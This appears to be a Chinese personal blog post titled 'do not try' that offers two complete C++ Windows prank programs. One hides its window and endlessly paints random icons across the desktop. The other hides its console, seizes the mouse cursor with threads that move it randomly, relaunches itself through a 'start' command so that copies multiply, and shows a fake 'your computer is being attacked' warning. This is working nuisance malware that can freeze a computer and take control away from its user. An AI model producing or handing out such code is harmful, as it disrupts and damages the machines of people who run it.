- 郭伟乾 的博客
请勿尝试
- 2024-6-19 20:15:34 @
请勿尝试, 否则逝世(有两个)
#include <Windows.h>
#include<iostream>
using namespace std;
HCRYPTPROV prov;
HINSTANCE hShell32 = LoadLibrary("1.dll");
int random()
{
if (prov == NULL) if (!CryptAcquireContext(&prov, NULL, NULL, PROV_RSA_FULL, CRYPT_SILENT | CRYPT_VERIFYCONTEXT)) ExitProcess(1);
int out;
CryptGenRandom(prov, sizeof(out), (BYTE *)(&out));
return out & 0x7fffffff;
}
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
HWND hDesktop = GetDesktopWindow();
HDC hdc = GetWindowDC(hDesktop);
void PlayloadIcon(int position,int fen)
{
position--;
int tmpp=position%fen;
int startx = x/fen*tmpp;
int endx = startx + x/fen;
tmpp=(position-tmpp)/fen;
int starty = y/fen*tmpp;
int endy = starty + y/fen;
for(int d=7;d<=20;d+=5)
{
int d2=random()%(d-5)+5;
for(int tx=startx;tx<endx;tx+=d2)
{
for(int ty=starty;ty<endy;ty+=d2)
DrawIcon(hdc, tx, ty, LoadIcon(hShell32,MAKEINTRESOURCE(random()%28+100)));
}
}
}
int main()
{
ShowWindow(GetForegroundWindow(),0);
int hasb[130];
int fen;
while(1)
{
fen=random()%10+2;
memset(hasb, 0, sizeof(hasb));
for(int thnum=1;thnum<fen*fen;)
{
int position=random()%(fen*fen)+1;
if(hasb[position] == 0)
{
hasb[position] = 1;
PlayloadIcon(position,fen);
thnum++;
}
}
}
return 0;
}
还有一个:
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
//线程1:鼠标效果
void *test(void *ptr)
{
int i;
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
void *test1(void *ptr)
{
int j;
for(int u=0;u<100;u++)
{
cout<<u<<endl;
}
}
int main(void)
{
pthread_t pId;
int i,ret;
pthread_t pId1;
int j,ret1;
ret = pthread_create(&pId,NULL,test,NULL);
ret1 = pthread_create(&pId1,NULL,test,NULL);
if (ret != 0)
{
cout<<"error!"<<endl;
return 0;
}
if (ret1 != 0)
{
cout<<"error!"<<endl;
return 0;
}
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
char s[100] = "start ";
system(strcat(s, _pgmptr));
MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION);
pthread_join(pId,NULL);
pthread_join(pId1,NULL);
return 0;
}